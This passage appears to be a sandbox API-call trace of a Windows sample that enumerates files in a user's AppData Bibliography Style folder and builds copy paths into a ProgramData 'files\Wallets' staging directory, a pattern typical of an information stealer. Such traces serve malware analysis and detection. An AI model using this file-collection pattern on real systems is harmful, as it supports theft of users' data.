returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" [0052.135] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.135] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.135] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.135] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="CHICAGO.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" [0052.135] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.135] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.135] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="CHICAGO.XSL" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" [0052.135] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.135] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.135] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.135] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GB.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" [0052.135] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.135] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.135] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="GB.XSL" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\GB.XSL") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\GB.XSL" [0052.135] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.135] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.135] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.135] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GostName.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" [0052.135] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.135] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.135] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="GostName.XSL" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\GostName.XSL" [0052.136] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.136] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.136] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.136] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GostTitle.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" [0052.136] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.136] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.136] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="GostTitle.XSL" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" [0052.136] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.136] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.136] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.136] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="HarvardAnglia2008OfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" [0052.136] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.136] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.136] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="HarvardAnglia2008OfficeOnline.xsl" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" [0052.136] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.136] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.136] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.136] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="IEEE2006OfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" [0052.136] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.136] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.136] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="IEEE2006OfficeOnline.xsl" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" [0052.136] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.136] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.136] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.136] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" [0052.136] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.136] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.137] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690.XSL" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\ISO690.XSL" [0052.137] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.137] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.137] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.137] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690Nmerical.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" [0052.137] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.137] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.137] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690Nmerical.XSL" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" [0052.137] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.137] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.137] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.137] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="MLASeventhEditionOfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" [0052.137] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.137] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.137] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="MLASeventhEditionOfficeOnline.xsl" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" [0052.137] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.137] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.137] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.137] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="SIST02.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" [0052.137] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.137] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\" [0052.137] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\", lpString2="SIST02.XSL" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style\\SIST02.XSL" [0052.137] FindNextFileW (in: hFindFile=0x58a0c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.137] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0052.137] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\" [0052.137] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="TURABIAN.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" [0052.137] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style" [0052.137] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Bibliography\\Style", 